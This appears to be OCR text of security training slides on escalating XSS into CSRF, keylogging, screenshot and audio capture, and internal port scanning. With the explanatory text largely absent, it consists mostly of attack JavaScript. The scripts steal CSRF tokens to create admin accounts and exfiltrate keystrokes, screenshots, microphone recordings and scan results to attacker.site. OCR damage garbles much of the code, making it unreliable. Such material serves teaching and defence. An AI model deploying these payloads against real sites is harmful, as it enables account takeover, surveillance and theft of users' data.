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1.
Session riding

Escalate XSS To CSRF Attacks




* What is Session Riding 7
* (CSRF Protections
* (CSRF Synchronizer Token Pattern
* CORS Validation via ‘origin” HTTP Header
» Referer Validation via ‘referer’ HTTP Header
« XHR Validation
* Bypass CSRF Protections



What is Session Riding ?
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CSRF Protections



CSRF Protections
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CORS Validation
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CSRF Protections

Referer Validation
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XHR Validation
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Bypass CSRF Protections
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<script=>
var csrfInputNames = ['_token','_nonce','csrf_token'];
for (var 1 = 0; i1 < csrfInputNames.length; i++) {
if(document.getElementsByName(csrfInputNames[i1])[®@] != undefined)q{
csrf_token = document.getElementsByName(csrfInputNames[i])[@].value;
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4) {
fetch('http://attacker.site/victimResponse?body="+this.responseText);
}
};

xhttp.open("GET",

"admin/addUser?username=attacker®ll&password=passl234&token="+csrf_token,

xhttp.withCredentials = true; // to enable cookies-based requests

xhttp.send();

}
}

</script=>

true);



Bypass CORS/XHR Validation
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var xhttp = new XMLHttpRequest();
xhttp. ("GET", "admin/addUser?username=attacker@ll&password=passl234", );
xhttp. = 3
xhttp ();



Bypass Referer Validation
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<form id="myForm" action="/admin/addUser" method="GET"=>
<ilhput type="hidden"” name="username" value="attackerg83">
<input type="hidden" name="password"” value="passl23">
<ilhnput type="button">

</form=>

<script=>
document. ("myForm™ ). ();
</script>



2.
Abuse 1/0

Keylogger, Screenshot, Audio



« Keylogger
e Screenshot
 Audio recorder



Keylogger
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<script=
var keys = "'"';
document.onkeypress = fTunction(e) {

get = window.event ? event : e;
key = get.keyCode 7?7 get.keyCode : get.charCode;
key = String. fromCharCode( key) ;
keys += kevy;
¥
window.setInterval{ function( ) {
if (keys 1= "") {
new Image( ).src = '"http://attacker.site/?keys="+encodeURIComponent(keys);
keys = '';
¥

¥} ) s

</script=



Screenshot
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<script src="https://cdnjs.cloudflare.com/ajax/libs/html2canvas/0.4.1/html2canvas.min.js"></script>
<script>

function x(){
html2canvas(document.querySelector("body"),{
onrendered: function(canvas){
new Image().src = 'http://attacker.site/?blobUrl="+canvas.toDataURL();
¥
})s
}

</script>
<input i1d="btn" type="hidden" onclick="x()"/><script>document.getElementById( " 'btn').click();</script>



Audio recorder
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<script=

nawvigator_ _mediaDevices . getUserMedia({audio:

Fry.-.then{stream == L
var audioChunks = []3;
rec = new MediaRecorder({stream);
rec.ondataavailable = e == {
audioChunks _.push{e_data);
if (rec.state == "inactiwve"™ ){

1Tet blLob = new BlLob{audioChunks,{type: 'audio/ x—mpeg—3"3%});
recordedAudio.src = URL_.createObjectURL{(blLob) ;
var reader = new FileReader( };
reader . readAsDataURL{blLob ) 3
reader _.onloadend = FfTunction( ) {
new Image( )-.src = "http:rs,,attacker.siters?blLobUrl="'"+reader.result;
*
¥
>
rec._start({ };
}))-catch{e=—console._.log{e));

=/Sscript>=



3.
Network & CORS

HTTP-based Port scanning, CORS Attack, DNS Rebinding



HTTP-based Port scanning
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<script>
var ports = ['1234','80','3462'];
var host = 'localhost’;
for (var 1 = 0; 1 < ports.length; i++) {
fetch('http://'+host+':"+ports[i], {mode: 'no-cors'}).then(r=>{
new Image().src = 'http://attacker.site/?localNetworkWithPort=http://'+host+': '+ports[i];

}).catch(e=>{
console.log( 'this host is not there');
});
}

</script>



CORS Attack
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DNS Rebinding
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https://tools.ietf.org/html/rfc6454
https://crypto.stanford.edu/dns/dns-rebinding.pdf
https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Referer
https://cwe.mitre.org/data/definitions/352.html
https://cheatsheetseries.owasp.org/cheatsheets/Cross-

Site_ Request Forgery Prevention Cheat Sheet.html#synchronizer-token-

pattern
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